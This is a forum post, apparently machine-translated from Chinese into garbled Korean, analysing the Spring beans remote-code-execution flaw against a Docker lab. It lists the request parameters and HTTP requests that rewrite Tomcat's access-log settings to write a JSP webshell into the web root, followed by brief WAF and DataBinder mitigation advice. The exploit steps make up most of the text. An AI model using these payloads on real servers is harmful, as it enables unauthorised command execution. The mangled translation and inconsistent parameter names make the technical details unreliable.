KoreanHackerTeam
Moderator
Spring beans RCE 漏洞分析
1 影响范围
JDK 9 이상스프링 프레임 워크 및 파생 프레임 워크 Spring-Beans-*. JAR 파일 또는 CachedIntroSceptionResults.class
2 漏洞复现
2.1 环境搭建
이 기사는 Spring-Core-RCE-202-03-29 Docker 이미지를 사용합니다. 이미지 시작 :1
Docker Run-- 이름 Springrce -P 8090:8080 -D vulfocus/Spring-Core-RCE-202-03-29
2.2 漏洞原理
Tomcat의 로그 로그 구성을 직접 수정하여 JSP 파일을 WebApp/Root에 작성하여 명령 실행 목적을 달성하여 S2-020의 사용과 유사합니다.먼저 다음 데이터 패킷을 대상으로 보내십시오.
1
2
3
4
5
6
7
8
# 파일 접미사를 .jsp로 설정하십시오
class.module.classload.resources.context.parent.pipeline.first.suffix=.jsp
# 파일 접두사를 Shell으로 설정합니다
class.module.classload.resources.context.parent.pipeline.first.prefix=shell
# 로그 파일의 경로를 WebApp/Path로 설정하면이 파일의 JSP 파일 만 구문 분석됩니다. 이 기사는 예를 들어 뿌리를 내립니다
class.module.classload.resources.context.parent.pipeline.first.directory=webapp/root
둘째, 로그의 패턴과 FiledateFormat을 설정하십시오. 여기서 패턴에는 특정 형식 제한이 있습니다. Tomcat의 액세스 로깅의 공식 정의에 따르면,이 항목의 값은 다음과 같습니다. 공통 및 결합, 여기서 공통의 특정 정의는 다음과 같습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
%A- 원격 IP 주소. 아래의 %{xxx} a도 참조하십시오.
%A- 로컬 IP 주소
%B- HTTP 헤더를 제외하고 전송 된 바이트, 또는 ' -'0 인 경우
%B- HTTP 헤더를 제외하고 전송 된 바이트
%h- 원격 호스트 이름 (또는 커넥터에 대한 enableLookups가 거짓 인 경우 IP 주소)
%H- 요청 프로토콜
%l- 식별의 원격 논리 사용자 이름 (항상 returns ' -')
%M- 요청 방법 (GET, POST 등)
%P-이 요청이 접수 된 로컬 포트. 아래의 %{xxx} p를 참조하십시오.
%Q- 쿼리 문자열 ( '?'와 함께 선정 된 경우 존재하는 경우)
%r- 요청의 첫 번째 줄 (메소드 및 요청 URI)
%s -http 상태 코드 응답
%s- 사용자 세션 ID
%t- 날짜와 시간, 공통 로그 형식
%u- 인증 된 원격 사용자 (있는 경우), else ' -'(필요한 경우 탈출)
%u- 요청 된 URL 경로
%V- 로컬 서버 이름
%d- Millis의 요청을 처리하는 데 걸리는 시간. HTTPD %D의 Note:은 마이크로 초입니다. 행동은 Tomcat 10 이후 HTTPD에 정렬됩니다.
%t- 요청을 몇 초 만에 처리하는 데 걸리는 시간. Note:이 값은 백만 두 번째 해상도를 가지고 있고 HTTPD에서는 두 번째 해상도가 있습니다. 동작은 Tomcat 10 이후 HTTPD에 맞 춥니 다.
%f- 응답을 저지르는 데 걸리는 시간, 백만 초 만에
%I- 현재 요청 스레드 이름 (나중에 스택 트레이스와 비교할 수 있음)
결합 된 특정 정의는 다음과 같습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
%{xxx} 쓰기 원격 주소 (클라이언트) (xxx==원격) 또는 연결 피어 주소 (xxx=피어)
%{xxx} 나는 이름 xxx를 가진 들어오는 헤더의 값을 씁니다 (필요한 경우 탈출)
%{xxx} o 이름 xxx가있는 나가는 헤더의 값 쓰기 (필요한 경우 탈출)
%{xxx} c 이름 xxx 인 쿠키의 쓰기 값 (필요한 경우 탈출)
%{xxx} r 이름 xxx 인 servletrequest 속성의 쓰기 값 (필요한 경우 탈출)
%{xxx} s 이름 xxx가있는 httpsession 속성의 쓰기 값 (필요한 경우 탈출)
%{xxx} p 문자 로컬 (서버) 포트 (xxx==로컬) 또는 원격 (클라이언트) 포트 (xxx=remote)
%{xxx} t 강화 된 단순화성 패턴 xxx를 사용하여 포맷 된 요청의 끝에 타임 스탬프를 쓰십시오.
이 기사에서 웹 쉘을 작성하는 해결책은 결합 된 관련 형식 문자를 선택하는 것입니다.
다음과 같은 문장 웹 쉘을 작성할 때 일부 특수 문자가 필요하기 때문에 : %와 %는 로그 구성에서 특별한 의미를 갖기 때문에 패턴에 직접 쓰면 오류가 발생합니다.

요컨대, 백분율 부호에 직접 글을 쓰지 않아야합니다. 다음은 패턴을 정의하는 세 가지 방법을 시도하는 것입니다.
2.2.1 从 header 中读取
위에서, %{xxx} c 항목의 기능은 다음과 같습니다. HTTP 쿠키에서 XXX 항목을 읽고 로그 파일에 씁니다. 따라서 데이터 패킷은 다음과 같이 정의됩니다.1
2
class.module.classload.resources.context.parent.pipeline.first.filedateformat=1
class.module.classload.resources.context.parent.pipeline.first.pattern=%25%7bcmd%7dc
최종 HTTP 요청은 다음과 같습니다.
1
2
3
4
5
6
7
get /?class.module.classloader.resources.context.parent.pipeline.first.pattern=%25%7BCMD%7DC http /1.1
Host: IP: 포트
accept: 텍스트/html, 응용 프로그램/xhtml+xml, application/xml; q=0.9, image/avif, image/webp, im
accept-encoding: gzip, deflate
accept-language: zh-cn, zh; q=0.9, en; q=0.8
Cookie: Remember-me=ywrtaw46mty0otixmze4odqymtpmyzta2nwmyyzflogqwotuzmwjkogqxzmmzymq1yg; cmd=%out.println (11223344);%
Connection: 닫기

부터 ; 쿠키의 구분 기자이며, 서면 내용은 잘립니다. (어떤 마스터가 솔루션을 가지고 있는지 모르겠으므로 공유 할 수 있습니다) : %out.println (11223344)
2.2.2 从 header 中读取
위에서, %{xxx} i 항목의 함수는 다음과 같습니다. HTTP 헤더에서 XXX 항목을 읽고 로그 파일에 씁니다. 따라서 데이터 패킷은 다음과 같이 정의됩니다.1
2
class.module.classload.resources.context.parent.pipeline.first.filedateformat=2
class.module.classload.resources.context.parent.pipeline.first.pattern=%25%7bcmd%7di
최종 HTTP 요청은 다음과 같습니다.
1
2
3
4
5
6
7
8
get /?class.module.classloader.resources.context.parent.pipeline.first.pattern=%25%7bcmd%7di http /1.1
Host: IP: 포트
cmd: %out.println ( '11223344'); %
accept: 텍스트/html, 응용 프로그램/xhtml+xml, application/xml; q=0.9, image/avif, image/webp, im
accept-encoding: gzip, deflate
accept-language: zh-cn, zh; q=0.9, en; q=0.8
Cookie: Remember-me=ywrtaw46mty0otixmze4odqymtpmyzta2nwmyyzflogqwotuzmwjkogqxzmmzymq1yg
Connection: 닫기


2.2.3 直接配置 pattern
위의 두 가지 방법을 테스트했을 때, '견적 마크가 \'로 빠져 나올 것이며 특정 결함이 있습니다.또한 위에서 볼 수 있듯이 % {xxx} t 항목의 기능은 다음과 같습니다.

따라서 데이터 패킷은 다음과 같이 정의됩니다. %{ %} t로 %가 로그 파일에 기록 될 수 있습니다.
1
2
class.module.classload.resources.context.parent.pipeline.first.filedateformat=3
class.module.classloader.resources.context.parent.pipeline.first.pattern=%3c%25%7b%25%7dtout.println (%22poc%20test%22)%3b%25%7b%25%7dt%3e

파일보기 :

3 临时修复方案
클래스의 규칙 필터링.*, 클래스.*,*.class.*,*.class.*문자열은 WAF의 매개 변수에 나타납니다.Global Search @initbinder 주석 주석 데이터베인더 .setDisallowedFields 메소드가 방법의 본문에 있는지 확인합니다.
사용하면 원래 블랙리스트에 추가하십시오.